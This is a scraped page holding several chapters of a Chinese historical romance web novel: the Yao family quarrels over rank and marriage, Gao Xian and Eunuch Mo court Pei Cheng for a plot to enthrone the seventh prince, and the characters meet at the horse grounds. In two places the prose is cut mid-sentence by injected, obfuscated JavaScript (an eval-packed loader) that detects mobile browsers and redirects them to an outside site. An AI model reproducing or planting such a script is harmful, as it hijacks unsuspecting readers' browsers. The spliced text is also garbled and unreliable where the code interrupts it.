听了这话,姚明桉摇头反驳道:“当然不是。父亲常说,为官者应深知百姓疾苦,为其忧愁而忧,因其困苦而自省改之。常以此为己任,才能更好为官。我出去只是为了见见父亲口中说得百姓之忧是什么,我想知道我到底该怎么做。” “很好明桉,你要一直记得你今日的话。无论违背父亲的意愿从府中出去多少次,你都要谨记你真正要做的事。不管肖家姚家,我们都是为了大邺百姓更好,既然我们出自同一个目的,就无需在乎彼此究竟姓什么。” 这番话,让姚明桉好像明白了什么。他问出了自己最害怕的话,“可父亲说……” “父亲说过的话有很多,那些都是他想要的。明桉,你想入朝为官后做什么。“姚映梧直截了当的打断了明桉的话,该让明桉彻底明白他究竟要什么了。他还小,一切还来得及。不要像她一样,为了握在陛下手中岌岌可危的家族荣耀,失去了她至亲的长姐,她才恍然大悟对自己来说拥有健康的身体,一个幸福齐全的家,才是她最想要的。 二姐姐问得话让姚明桉脑袋一下子全空白了。入朝为官后想要做什么,当然是像父亲说得那样,忠君忠国为民,最好能像父亲一样官至宰相,成为姚家子弟的骄傲。百年后,被刻在家族阀阅之上,让后人景仰。 可这些好像都是父亲想让他做的,他自己想做什么,他居然完全都不知道,甚至从来都没有想过。 从小到大,父亲只告诉他什么事要去做,他就拼尽全力去做,甚至怕他对自己失望。可他姚明桉,究竟想做些什么呢。 秋风瑟瑟,带起一阵冷意。 迎着风,才出宫门的裴澄不禁打了个寒战。初秋雨后的盛安比他幼时记忆中冷上许多,他抬头看了眼时阴时晴的天,默默想着晚上回去时该嘱咐孩子们添衣。盛安虽没有滕州冷,雨后的寒意却胜滕州几分。 莫内侍奉旨出宫办事,不料在宫门处遇见了裴澄,他心思一转,随即开口唤道:“裴太守,您留步。” 裴澄没想到如今盛安宫内还有人认识他,而后转身定睛一瞧,“原来是莫内侍。” 莫内侍听到裴澄认出自己微微一怔,随即笑道:“没想到裴太守远在滕州,竟也能认出卑职这个太清宫的无名小卒。” 裴澄不知此人找他何事,只是疏离的笑道:“莫内侍在民间为陛下觅得良药,并劝得持药人入京献药,救回陛下。此乃大功一件,陛下命人昭告百官,裴某怎么会不认识呢。” “卑职自幼时便听闻,‘盛安世家六大,姚肖甘牧章裴’。入了宫,虽为伺候人的内侍,可卑职心中对六大世家的仰望与倾佩是只多不少啊。可惜这五家大族之人卑职入宫后都见过了,唯有这裴家之后卑职一直不曾有缘得见,今日一见裴太守,果真是名门之后名不虚传。” 提起其他五家,裴澄维持在脸上的体面摇摇欲坠。裴家如今在他的手上,已经快徒有其表了,除了主族一脉尚有人在朝为官,旁支几族几乎是四散凋零。 裴澄深呼吸几口,用尽力气硬生生挤出一抹笑,“内侍赞谬,裴某只是仰仗了先祖之光,靠着陛下圣恩在朝中谋求一官半职,只愿报国效君。哪里比得过其他几族后代子孙,仍在盛安为大邺和陛下肝脑涂地。” 这话传到莫内侍耳朵里多了几分别的意味,他勾起唇冷笑一声,裴澄果然是他要找的人。 莫内侍面露遗憾,“恕卑职直言,这几个世家家主中,卑职最敬佩的还得是令尊裴尚书。前晋时,灵帝是出了名的凶悍残暴,说其为史上暴君之首也不为过。令尊却能在如此险恶的朝堂中将裴氏一族族人有才者全部选拔为官,为大邺鞠躬尽瘁的裴氏族人远超其他世家。就连最鼎盛时的姚家跟令尊带领的裴家相比,简直不值一提。令尊将裴氏一族光耀至此,如此耗费的心力,简直令小人敬佩。” 莫内侍上前一步,刻意压低声音道:“裴太守,卑职说句难听的话。若非令尊因肖家投靠大邺,至前晋亡国。就他姚尺书,怎么配得上您的长姐。这盛安关于六家的传闻,早就该改改了。” 一番话让裴澄全然感慨无比,知音难觅啊。终于有人知道父亲的不易,知道他裴家才最该是盛安大族之首。 莫内侍见裴澄面上难掩激动趁机提出道:“不知卑职可否有幸,邀裴太守去素琴坊小坐赏曲。” “内侍亲自相邀裴某哪有不去的道理,请。” 两人一走进素琴坊,便听得那古琴声声入耳,婉转低沉。琴弦拨弄之间,流淌过高山流水的诗意。 “两位客官可是要买琴。我们素琴坊虽是新开的小店,但琴样样不输盛安其它的琴坊。” 店老板殷明笑着迎接两位贵客,准备向他们一一介绍店内的古琴。 乐姬一首奏毕,灵巧的指间变幻间低沉的乐曲转变为悠扬的曲风,高亢的曲调间夹杂着边境凄苦风寒之意。 “这是?”裴澄一脸惊奇的看向莫内侍。 莫内侍含笑不语,只示意裴澄接着往下听。 一曲终了,裴澄已是热泪盈眶。这首塞上曲是父亲刚到滕州时写得,曲谱毕,他也终是看清自己再也不能回到盛安的事实,理想埋于荒草之下,他也长眠于风霜苦寒的滕州。 裴澄沉浸于此曲,片刻都没回神。莫内侍只是站在一旁笑着,耐心看着裴澄。 直至眼泪夺眶而出,裴澄才急忙用袖子擦去眼泪,“裴某失态了,不知内侍是如何得到家父的原曲的。当时裴某尚且年幼,也只听父亲弹奏过一次,后来父亲离世,家中突遭变故许多家仆便私下偷卖府中之物,手稿也不知到哪去了。” 莫内侍笑道:“卑职哪有这样的本事,此曲是另一位仰慕裴家之名的大人特意淘来欣赏的。那位大人听说您今日会回到盛安,特意命盛安最好的 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姚尺书欣慰道:“果真是天不亡我姚家啊。”他冷冷睨了躲在二女儿身后没出息的儿子,随即说道,“阿缘,你既已病好,也该多学些为官之道。你长姐…贤妃如今贵为四妃之一,若你再能做上女官,为父何须再愁姚家日后的前途。还有,不许再见高家那小子了。与你一般大竟连个一官半职都没有,他那个兄长也是蝇营狗苟之辈。” “父亲,女儿会听您的做女官,但我不会和高琢分开的。女儿心悦于他,认定他为心上人是不会放手的。” “你……” 姚尺书没想到原本病弱的女儿对高琢竟如此倔强,他本有心再劝几句,可转念一想,反正阿缘有心做女官就好,一个男人而已,她喜欢就随她去吧。桦儿没法选择自己的婚配,已是可惜。桉儿天资差些,阿缘若能留在姚家岂不更好。 想好后,姚尺书叹口气,“若你喜欢就随你吧,但他日后再也不许回高家,更不许与高家任何人再有瓜葛。你们若想成婚,他最低也得有个五品官职在身,而且成婚后你们必须留在姚家。” 听完父亲的条件,姚映梧不满的反驳道:“父亲,高琢父母早亡,身边只有兄长和侄女几个亲人了。您不让他与亲人联系,岂不是罔顾人伦。” “笑话!”姚尺书怒道:“他高家是什么门楣,我姚家是何等门第,父亲许你与他结亲已经是他高攀了。” “父亲!”姚映梧难掩失望道:“难得在您的眼中只容得下门第高低,其他什么都不重要吗?” 姚尺书冷哼一声,“那是自然,盛安世家,哪个人家会不看重门第。” “所以您才会不顾长姐的意愿,同意她礼聘为妃是吗。世上再没有比皇家更高的门第了。” 啪——! 姚尺书拍桌子这下用了十足十的力气,姚明桉本就不敢说话,此时更是吓得瑟缩。 他拍案而起,第一次对姚映梧发了脾气,“皇家礼聘,岂是我能阻止的!”他指着姚映梧气道:“你你…你是在怪我?” 姚映梧面上并无惊色,她冷眼看着姚尺书怒不可遏的脸,一字一句拆穿了父亲不敢面对的真相,“父亲,陛下若真有心礼聘长姐为妃长姐及笈那年他就做了,可他没有,他在等长姐年满为女官的年纪,他信任您,相信您的女儿也会成为大邺肱骨栋梁。” 她声音波澜不惊,手却忍不住颤抖。 “您明明知道陛下迟迟没有给二皇子指婚是因为他属意肖遥,是想等她年纪再大些,他属意的皇子要和他一样娶肖家人为妻。是父亲你,是你担心肖家兵权在握,又恐其连出三位皇后威胁姚家盛安士族之首地位。是父亲刻意撮合姑母嫁给二皇子,让陛下自此怀疑你的用心。是你的私心害了长姐,是你逼得长姐入宫为妃的!” 啪———— “姚映梧,你…你给我住口!” 39. 秋来九月八 姚尺书用力将手中的笔筒扔到姚映梧脚下,笔筒发出清脆的啪声。他气的浑身发抖,眼睛却忍不住发酸。 他怎会不知其中关窍,只是他没法回头,后悔也来不及了。 姚尺书指向姚映梧愤怒道:“你给我滚出去。”他又将手指方向一偏,“还有你,你们都给我滚出去!” 姚明桉还是第一次见父亲发这么大火,腿都不争气的吓软了,还是二姐姐将他拉了出来。 走在路上,他止不住回头望向书斋的方向,“二姐姐,父亲他如此生气,不要紧吧。” 姚映梧反而神色坦然,她终于把憋在心中的话全说出来了。 “没事的明桉,父亲在官场太久被权力地位蒙蔽双眼可不是好事。日后二姐姐会努力做出一番功绩,想办法换长姐出宫的。” 战场刀剑无眼,她还是担心的很。她不能让高琢为了长姐的事去冒险,她自己也得想个办法才是。 “那你和高琢哥呢?” “嗯?”姚映梧看着明桉皱眉思索的样子笑道:“放心,我不会再听父亲的了。不过,是谁刚才还豪言壮志说自己才不喜欢他的。” “二姐姐!”姚明桉停下脚步道:“其实,只要他能对姐姐好就行了。明桉之前不知他的为人品性如何,今日一见,他果真如姐姐说的那般率真。只可惜他生在高家……” “明桉,姐姐一直不希望你眼中只剩家世门第,深陷朝堂党派之争。你尚且年幼,何须学那些人满眼只有钱权。大邺正逢乱世,你何不为自己理想而争。” “不顾父亲的意愿,只做自己想做的事。这样可以吗,姐姐?” 姚映梧没再像以前一样爱抚他的脑袋,而是拍拍他的肩,“当然可以,我们明桉将来一定是姚家最出色的孩子。” 烟雾缭绕,满室栀子香。 一首塞上曲打消了裴澄心中仅存的顾忌,他只想立刻见到买下曲谱的人。他想知道朝中到底哪个人还记得父亲。 室内,高羡正倒了几杯好茶等着客人前来。 隔着纱帘,帘内影影绰绰的人影裴澄一眼就认出来了。在此见到他,裴澄反而没怎么感到意外,细细数来如今朝中能有心邀他裴澄的人,也就只有他了。 “裴太守,请。” 莫内侍掀开纱帘,请裴澄落座。 裴澄低头看着面前的茶水,道:“统领大人如今在朝中是风光无限,怎么会有功夫请裴某喝茶?” 高羡并未接话,只念出一句塞上曲的曲词,“几经年,满白头,荒了一身才学;拭干泪,空对天,徒有报国心切……” 高羡站起身,“高某初听时心中对此是愤慨不已。前晋旧臣,大多恩荫入仕,有真才实学者寥寥数人却多数留京任用。裴尚书满腹经纶,科考入仕不靠家族荫蔽,却因无力挽救裴家日渐衰落的颓势而惨遭贬黜。什么仙宫,都是先帝搪塞世人的借口罢了。姚肖甘牧章裴,大邺建国时,姚有姚勘姚尺书父子,肖有肖厝兄妹五人和肖攘镰,甘家有甘毅,章家有章珥。只有裴家,裴尚书年迈令姐也刚到及笄之年。先帝看见了前晋盛安有无数无能的世家子弟,大邺的盛安不需要。文有姚章,武有甘肖,裴氏一族对皇家没用了。” 一番话,裴澄的手收紧又松开,松开又握紧。他呼吸不稳,额上冒着冷汗。 高羡笑着下了最后一剂猛药,“先帝想要贤名,所以说是裴家不忠君该被贬黜。臣子忠与不忠不就是天子的一句话吗,只可怜裴澜夫人,心心念念嫁与那姚尺书,为他生了两个冰雪聪明的女儿却早早离开人世,可怜的姚二小姐连生母的面都未曾见过啊。先姚夫人病重之际,仍抱着女儿四处求医,他姚尺书却在朝堂上四处钻研,从太子伴读到谏议大夫再到今日一人之下手握大权的丞相大人。他风光无限,哪还会记得自己的结发妻子呢。” 裴澄感觉自己快呼吸不上来了,高羡的每一句话都扎在他心口的伤疤处。那个该死的姚尺书,从未好好照顾过长姐,她怀阿缘时,孕中就百般不适,他却连一点时间都不肯分给她,朝堂权力,难道会比他的妻子还重要吗。 他不是忙于公务吗,怎么如今有时间亲自教导他的小儿子,他的长姐、桦儿和阿缘却被他丢在一边。什么一心在公务上,他就是见他裴家失势软弱可欺。 只恨他不是京官,不能保护好长姐与甥女,只靠着先帝的一点怜悯,将长姐的尸身运到滕州安葬,才让他发现了不该知道的事,他才想要将盛安的一切风吹草动全都尽收眼底,护住他在盛安唯二的亲人。 裴澄心中哀叹,愤怒却涌上心头。他沉声道:“高统领叫我来该不会只是羞辱我的吧?” 高羡坐到裴澄身边严肃道:“裴太守,你我皆是如此啊。高某侥幸因献药在陛下那立功,却始终无法在盛安安身立命。世家排挤,百姓冷眼,谁知我也有一腔建功立业的热血。盛安其他世家,朝代更迭百年却依旧大权在握,盛安朝堂,也该变天了。高某不知可否有幸,与裴大人共扶明主,新建大邺朝堂。” 此话一出,裴澄虽满腔热血却仍生疑虑,他道:“若真能与统领大人共兴大业,裴某荣幸至极。只是二皇子是姚章拥护,五皇子是甘肖力挺。不知统领是想与裴某拥立哪位皇子?” “是陛下的七皇子。” “七皇子?”裴澄在屋内左看右看,除了他们三人也就只有一位在不远处持剑的男子。他打量着此人,一身杀气,怎么也不像个皇子的样子。 “这位是…七皇子?”裴澄看着尘起,犹豫着问道。 高羡尴尬一笑打着马虎眼道:“七皇子今日公务缠身不便前来,特托我与莫内侍为大人接风。我手握御守府禁卫军,莫内侍可近天子身,再加上有裴大人,何愁大业不成。” 裴澄听到此话安心了些,“恕裴某眼拙,我离开盛安时只见过年幼二皇子与五皇子,七皇子我是未曾有幸亲眼得见。今日仓促,待七皇子有空裴某定要与七皇子谈论一番大业,还望两位帮忙引荐。裴某还有公务,恕不能久待,裴某静候二位消息,愿各位大人与裴某都能得偿所愿。” 莫内侍与高羡异口同声道:“一定,一定。” 两人目送裴澄出了素琴坊坐上马车,高羡这才松了一口气。 “怎么回事,牧泓屿拒绝你是什么意思?我要扶他登上帝位,他难道还不愿?” 莫内侍擦擦额上的汗珠,“他一心只想与肖遥双宿双飞,根本无心夺嫡。” 高羡阴沉着脸色,“要不是这姚肖甘几家人都在,我还真用不上他。称帝,还要我求他不成?” “统领莫急,那日在上阳宫外,人多眼杂。属下还未来得及告诉他他的身世,等他得知真相,定会与我们联手的。不过属下有一事不明,裴家失势至此,还有能力助我们吗?” “自然。军、权我们都有了,只有财还未有着落。自裴澄接手滕州太守后,滕州借在鄢云十州相对安稳的局势大力与其他各国互通贸易,为朝廷贡献的赋税也排得上前几名。裴家其他族人不能、不想做官者,他都命其在滕州从商做生意,裴家在滕州也是富庶至极。不然就朝廷那点月钱,他怎么会买得起那么多名贵药材给姚映梧。她长久病着,那药都是散尽千金供着的。” 莫内侍小心看着高羡的脸色,“我们若与姚家为敌,那二公子他?” 提起高琢,高羡默默叹了口气,“若我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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裴虑衡没吭声,抬手摸上了自己的脸。触到的不是柔软的肌肤,而是冰冷坚硬的面具。 见此,裴虞卿也沉默下来,她抽出桌上的小刀手上麻利地剥着石榴,石榴籽红彤彤的,饱满的挤在一起。她剥好的石榴放在盘子上,“快尝尝甜不甜。” 裴虑衡摘下脸上的面具用帕子擦干净手,拿起石榴籽放进嘴中,“甜,但也酸,远没有在滕州时姐夫给的好吃。” 裴虞卿咬住唇,而后猛地塞进嘴里一大把石榴籽。酸甜的果子填满了她的嘴,囫囵咬碎的种子泛出苦涩的味道,也堵住了她即将脱口而出的呜咽,“好好的,提他干嘛。喜欢就都吃光,一会儿长姐再去集市给你买。” 两人默默吃着石榴,一时间无话。 “昨晚你说水兰阁出事了,是什么意思?”裴虞卿想起这件事追问道。 “听说肖遥在蔺州抓住一个想刺杀她的闼鞑人,在水兰阁做过绣娘。特意到滕州来做探子的,长姐还是不要再去水兰阁的好,省得惹人怀疑,害了父亲。”裴虑衡擦擦手,又戴上面具道。 裴虞卿一脸惊讶道:“难怪…不过这是什么时候的事?我怎么不知道。”她低头看看自己身上这身出自水兰阁的衣裳,“这衣裳日后是不能穿了,千万别给父亲惹下麻烦。” “肖遥刻意封锁了消息,回京都只向陛下回禀了此事。知道此事的人不多。” “阿衡,那你是如何得知此事的?”裴虞卿望着自己的弟弟,心下困惑不已。 “长姐,你真以为父亲甘心待在滕州吗?裴家赚的钱,他花了不少用来买通盛安的消息,闼鞑刺客对杀死闼鞑大王子的将军行刺,还牵扯上滕州地界,父亲自然上心。” 裴虞卿没有接话,盯着裴虑衡片刻,才缓缓开口,“阿衡,你不会在监视父亲吧。” 40. 马场秋歌 面具挡住了裴虞卿目光,也挡住了裴虑衡脸上的神情。 “长姐想哪去了,我监视父亲做什么。那日是父亲与几位门客商议如何应对此事,陛下怪他失职未曾察觉滕州混进闼鞑探子,说本打算罚他半年俸禄,但念他今年治理滕州有功,收上来的赋税比往年多了一倍不止,所以让他功过相抵不赏不罚。给父亲送茶的家仆私下跟人抱怨父亲又晋升无望,我路过时听到的。” 裴虞卿叹了口气,略带歉意道:“这事也怪我不好,太心急了。阿衡,你别生我的气,我就是…嗐,我也该多关心关心你和父亲,想想你们处境的。出了这么大的事,我竟一点都不知情。” “父亲不让我告诉你的。虽然父亲不喜欢姐夫,但看你为了姐夫的事劳心费神,他还是很心疼你的。父亲说这种小事,我和他来处理就行了。” 自己夫君的事,始终是裴虞卿心中过不去的坎儿。她打起精神,一扫心中的不愉快,“父亲一忙起来还不知道什么时候能回来呢。阿衡,不是说郊外可以骑马吗,走,咱们一起去。” 疏雨院,云昙如今已经能熟练的修剪花枝照顾好花花草草。花圃内,她前几日种了一株昙花,如今正在给它浇水。 姚映梧见她忙着呢,便悄悄走到她身后将高琢带来的香粉递给她,“喏,高琢和他兄长送给你的,快闻闻喜不喜欢。” “这是什么呀。”云昙惊喜的接过红漆的木盒,放在鼻子下嗅了好久。 “小姐这是昙花香粉吗?好香啊,高公子为何要送我这个啊。” 看着云昙开心起来,姚映梧也不由笑弯了眼睛,“是感谢你给忆欢做栗子糕,她很喜欢吃。他们兄弟二人的心意,你就收下吧。” 云昙将盒子捧在手心翻来覆去看了好几遍,才放进自己的香囊里。收好香粉,云昙惊呼道:“小姐,你说我该怎么谢他们啊。” 姚映梧亲昵地刮了下云昙的鼻子,“那不如,改日再给忆欢带些栗子糕?” “好,那我再多做些别的点心,到时候都带给高小姐尝尝。” 秋意渐浓,梧桐树上的鸟儿也不怎么爱叫了。幼鸟羽翼渐丰,也到了离巢的日子。 姚映梧还是坐在最爱的回廊一角,身后,窗棂透来的阳光不似盛夏时热烈,更添了几分柔和的暖意。 脚边的笔筒声余音尚在,父亲发怒的面庞也萦绕在姚映梧的眼前。 她叹了口气,又折磨起自己的帕子。自己说的话会不会太重了点,长姐出嫁父亲也很伤心吧…… 父亲他会伤心吗?有了长姐助力,姚家更是如日中天,二皇子继位就更有希望了吧。父亲高兴坏了才对,他才不会像自己一样伤心。 可是,天下会有不心疼孩子的父亲吗…… 哼,可看父亲的样子,说不定,他早就忘了他还是她们的父亲了。 方正的帕子被姚映梧磋磨的不成样子,光滑的绸缎上遍布折痕。姚映梧一口气上不来也吐不出,她记起肖遥告诉过她,骑马的时候听着风从耳边呼啸而过,最能放松心情。 说起来她还不会骑马呢。 姚映梧说干就干,她飞快回屋,在窗前写好纸条让木樨带去给皎皎,约她到郊外马场见。 秋风吹过窗棂,吹乱了桌上的诗经。 姚映梧抬手按住书页,正准备合上书时顺便扫了一眼手下按住的诗。 “有匪君子,如切如磋,如琢如磨。” 姚映梧垂眸看着诗句,用指腹轻轻摩挲着对她最特别的字。 不知道他想不想骑马…… 高琢新买的宅子在盛安最繁华坊间,和其他邻居不一样的是,他家又大又空旷。 画台上,他正赶着画生日宴的画。画累了,高琢起身到院中练练刀法,活动活动酸痛的筋骨,一边思索该给阿缘画什么样的簪子好。 咚,咚,咚—— 高琢出刀的动作一顿,他才搬来没几日,谁会敲他的门呢。 “阿缘!”高琢拉开门,眼睛瞬间一亮。他惊喜道:“阿缘你怎么来了。” 姚映梧换了一身鹅黄色的胡装,她举起马鞭问道:“今日有空,不知高公子愿不愿赏光与我一同去郊外马场骑马?” “去去去,自然去。姚二小姐相邀哪有不去的道理。” 高琢主动驾马车,载姚映梧出城。姚映梧特意坐到马车外,与他聊着天,两人就这样说说笑笑,穿过闹市一路出城而去。 城外的茶摊上,于老四正跟牛二喝茶。慧慈院闹鬼时,牛二从那个有钱公子那赚了五两银子,于是两人顺势搬了出来,商量着一起去马场干活。想着说不定还能碰上那个公子,让他俩办点事儿挣点银子。 牛二眼尖,一眼就认出了马车上的姚映梧。 哎?这不是那天在和羹居他撞倒的姑娘吗? 牛二端起茶瞅见马车旁一个男子,一口茶喷了出来。这是在济世堂门口抓他的那个男人! 看着马车出城,他嘀咕道:“千万可别是去马场,撞上他俩可就不好了。” 于老四正问牛二马场的事,牛二却一句也不回答愣是直勾勾盯着一辆马车看。 于老四抬头就给照着牛二的脑袋来了一下,“牛二,我说你小子看什么呢。”于老四匆匆一瞥,就认出马车上坐的两个人。惊奇道:“那不是丞相府的二小姐吗,一直听说她病奄奄的,没想到真叫济世堂的霍大夫给治好了。” 丞相府,病怏怏的小姐!这几个字瞬间让牛二瞪大了双眼,他结巴道:“她是丞丞…相府二…二小姐?” 马车此时早没了踪迹,牛二却扭着脖子怎么也转不过来。天老爷,他怎么敢去撞丞相府小姐的。幸好那日跑得快,否则他不得被带到公廨拷打一番,那些人,非叫他褪一层皮不可。 于老四没注意到牛二煞白的脸,啧啧了两声,“没想到酒楼里大家说的都是真的,御守府的二公子竟真和姚二小姐在一起了。都说高统领和姚丞相不对付,那可有的好戏看喽。” 于老四有些后悔辞掉了酒楼端菜的活儿,虽然累点钱还少,但有关盛安城里高门大户的事还是挺多的。唉,日后听不到喽。 “御守府二公子?”牛二没听过御守府的名号,疑惑的问道。 于老四见牛二想不起御守府,急道:“就是夏日布施酥山,还经常来慧慈院送米送衣服的高统领的弟弟。” 牛二直直的脑筋终于想起来了,原来那人是高统领的弟弟。 牛二望着马车懊悔的直拍大腿,他如今肠子都悔青了。真是应了那句话,人为财死鸟为食亡,他牛二就为了那点银子把当今盛安里有头有脸的人都得罪光了。 于老四将碗中的茶一饮而尽,起身走道:“牛二咱们快走吧,一会儿到马场该晚了。” “哎,哎。”牛二回过神应声道。他匆匆收拾好包袱,见桌上还剩半壶茶。牛二心疼他花的银子又急忙灌进肚里两大碗,才追上了于老四的脚步。 皇城内,莫内侍带着陛下要的东西回了宫里。 他拎着食盒走在宫道上,心里盘算着一会儿怎么去见牧泓屿然后说服他。 前方出现的人影让他眼前一亮,果真是人逢喜事精神爽,想什么就来什么。 莫内侍拦住脚步匆匆的牧泓屿,亲切道:“殿下,您这是要去哪儿?” 牧泓屿本就因错过在母后宫中见到肖遥而郁闷着呢,现下看见莫内侍更是没有昨日的好脸色。 见他拦住自己追肖遥的路,他深吸了好几口气才维持住皇子的礼节。 “莫内侍又有什么事?” 莫内侍见牧泓屿脸色很差,他心下想着,不如先讨好他一下。 他笑道:“殿下别急,卑职刚才从宫门来,听见肖遥将军同宫人讲说她要去郊外马场,让皇后娘娘中午不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215150|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等她一起用膳了。” 牧泓屿得知了肖遥的消息,堵着的心口疏通了不少。他笑道:“多谢内侍。” “殿下,卑职其实要告诉您……”还没等莫内侍说完,牧泓屿直接绕过他兴冲冲就朝宫门走去了。 “哎殿下,殿下,卑职还有重要的事要没说呢。殿下!” 莫内侍悔不当初,早知道不告诉他了。好不容易有这个机会碰上七皇子。唉,算了,他先给陛下送东西去吧。 马车停在马场时,肖遥也正骑着马赶到。她一眼瞧见了姚映梧与高琢,挥手招呼道:“阿缘高琢。” “皎皎。”姚映梧刚下马车就听见肖遥的声音,赶忙招手回应她。 三人聚在一起说了好一会儿的话,才走进马场。 牛二和于老四也幸运,刚走没多久就碰到了给马场拉草的老伯。两人搭上驴车,慢悠悠的也到了马场。 多喝了两碗粗茶,牛二肚子涨的疼。他把包袱塞给于老四,自己捂着肚子来找茅厕。人倒霉的时候喝凉水也塞牙,牛二还没见到茅厕呢,就看见最不想见到两人和一个姑娘朝这边走了过来。 牛二暗叫不好,扭头就往回走。郊外的马场他本来很熟悉,可今日不知怎么,却越走越乱。平日闭着眼也能走出的马场,今日怎么也找不到另一个茅厕,肚子咕咕叫着,额上的冷汗也直冒。 眼前的地方渐渐清晰,牛二终于看见了不远处的茅厕。身后不远处不知怎么,又传来那三人的声音。牛二生怕自己被发现,低着头飞快跑进茅厕。 砰! 哎呦喂! 牛二低着头和一个人狠狠撞到了一起。他脚下一个趔趄不知踩了什么东西,直接摔了个头晕眼花。 这一摔,牛二的肚子倒是不疼了,就是有点眼冒金星。他使劲给了自己两巴掌,清醒过来,一睁眼就看见一个身穿华锻锦服的公子被他撞倒了。 霎时间,牛二脸都吓白了。他连滚带爬赶紧去扶那个公子,“公子,您没事吧。都是小人不好,有眼无珠给您撞了。” 裴虑衡倒在地上头晕乎乎的,刚才长姐与他打马球,长姐打出界了一个马球,两人打赌谁输了罚谁去捡回来。 长姐赢了他一局,他只好出来捡。正低头找着马球呢,就感觉身后好像撞上来一头牛,给他撞得头晕眼花。 裴虑衡感觉有人上来扶自己,忙摆手称自己无事,要那人别碰自己。 牛二见那公子好像有点迷糊,心中更是害怕了。他想着先把人从地上扶起来别弄脏了衣裳,那衣服一摸上去就知是好料子,把他卖了也买不起。 他将那公子的的胳膊搭在肩膀上,用力将他拉了起来。牛二知盛安这样的世家公子都有些脾气,又站远点向其道歉。 好脾气的公子声音温和清冷,嘴上也一直说着无妨,牛二这才敢抬头看他。 那样好听的声音却不是牛二想象中高贵淡雅的面容,雪白的脸上,交织着触目惊心的暗红色疤痕。让人根本看不清面容,只能依稀辨认出五官的样子。 牛二吓得全身都僵硬了一动也动不了,脑子更是一片空白。全身上下只有嗓子不受控制,脱口而出了几声嚎叫。 几声喊叫让裴虑衡彻底缓过神,他惊恐的摸上自己的脸,粗糙的手感刺得他生疼,显然他摸到的不是面具。他慌了神,狼狈地跪在地上找起面具来。 牛二见此,知道那公子丢了东西。赶忙也跪趴在地上找了起来。 “找到了,找到了。公子,是这个吗?” 纯白的面具上沾了泥巴和碎草屑,还有一大块脏污。看着面具狼狈的样子,裴虑衡想直接把它丢掉,只恨他不能。 没了面具,他和这些泥巴没什么区别。 他紧咬着牙关伸手想拿过面具,透过额前散乱的发丝,他看见牛二那张恐惧的脸。 “那个脏了,你带我的吧。” 41. 一出好戏? 清亮昂扬的声音穿透了裴虑衡的耳朵,他怔怔的看着眼前的白虎面具,不想接,也不敢抬头看。 姚映梧和高琢只是往那一站,牛二就害怕的浑身打哆嗦,他心虚的瞅了两人一眼,嘴角扯出一抹难看的笑。趁着大家都看那地上那公子的时候,迅速丢下面具灰溜溜的跑了。 高琢见又是此人本就气不打一处来,瞧见他又看准时机开溜,便撸起袖子想冲上去抓他。 “算了高琢。“姚映梧伸手扯住高琢的袖子将他拦了下来。“他又不是什么大奸大恶之辈。我瞧他脸都吓白了,跑的时候腿都打哆嗦。就别为难他了。” 姚映梧与高琢谈话间,肖遥见地上那人不吭声,只是蜷缩着身体将头埋得更低。 她将面具放到他手心里,“军中有些兵士脸上受了伤,卸甲归田后仍会带此面具外出的,大邺百姓人人都认得这个面具,你以后带它出门,没人会觉得你奇怪的。” 那人将面具轻轻推开,又想伸手去拿地上的面具。可看到躺在泥里的面具时,又缩回了手。肖遥见他僵在原地,动手扶起他的下巴帮他带上了面具。 裴虑衡没敢睁开眼,他害怕那些打量的目光与嫌弃的眼神。那些如附骨之蛆的目光跟了他许多年,甩不开,躲不掉。 调整面具时,肖遥不小心碰上他了的脸,手指间的人瑟缩了一下,她轻声哄道:“别怕,我会很轻的。” 带好面具后,那人又将自己缩成一团,只是偶尔会抬头打量一眼肖遥。 姚映梧俯身趴在肖遥耳边轻声问道:“皎皎,你怎么还随身带着面具。” “一会儿我还想去祭拜我曾经的属下,他就埋在十里处的山坳里。既然是见属下,自然还是按在军中时的礼节好。” 裴虑衡将头埋得更低,紧紧抱住自己。原来她叫皎皎。 高琢见他穿着也不像无家可归之人,便好奇凑了过来。他打量着地上的人低声问肖遥,“这人你认识吗?” 肖遥摇摇头,高琢回道:“他怎么伤的这样厉害。” 刚才肖遥抬起那人的头时,高琢倒吸了一口凉气便一下挡在了姚映梧身前。她没看到那人的长相,但令高琢都这样说他肯定伤得很吓人吧。 想到此,姚映梧心中升起一丝不妙的感觉。那日前厅蜡烛太暗,她根本没看清表姐表兄的长相,只记得表姐为人开朗梳着坠马髻,还有表兄带着白面具头戴玉簪。 想到这姚映梧脸色一变,她赶忙蹲下身去看沾满泥的面具。原本的白色已经辨认不出来了,只能依稀闻到上面萦绕着一缕淡淡的香气。 姚映梧刻意放轻了脚步慢慢走近在地上缩成一团的人,她蹲下来轻声问道。 “我是阿缘啊,是你吗,表兄?” 听到阿缘的声音,裴虑衡僵硬的身体才放松下来。 他抬起头,天上耀眼的阳光刺痛了他的眼睛。她一身绯红色的胡服上绣着含绶鸟纹,就站在他身边担忧的望着他。 姚映梧赶紧将裴虑衡从地上扶起来,“都怪我表兄,居然没认出你来,害你白白受委屈。没事的你别怕,他们都是我的朋友。” 高琢听这个人是阿缘的表兄,很有眼色的上前为他拍打着衣服上的草屑。 “表兄是不是那人欺负的你?你放心下次再遇见他我定帮表兄讨个公道。” 一声表兄让裴虑衡从皎皎身上挪开眼看向眼前的公子,他疑惑的问道:“阿缘,这是?” “表兄,这是高琢……” 阿缘话还没说完脸颊先红透了,裴虑衡也猜到这个高琢是谁了。他友善的朝高琢笑了笑,却发觉自己好像多此一举。 在面具的掩护下,他径直看向皎皎。姚映梧见此,便笑着一拉过皎皎,向表兄介绍道:“表兄,这位是肖遥姑娘。是我大邺赫赫有名的巾帼英杰,也是我在盛安的至交好友。” 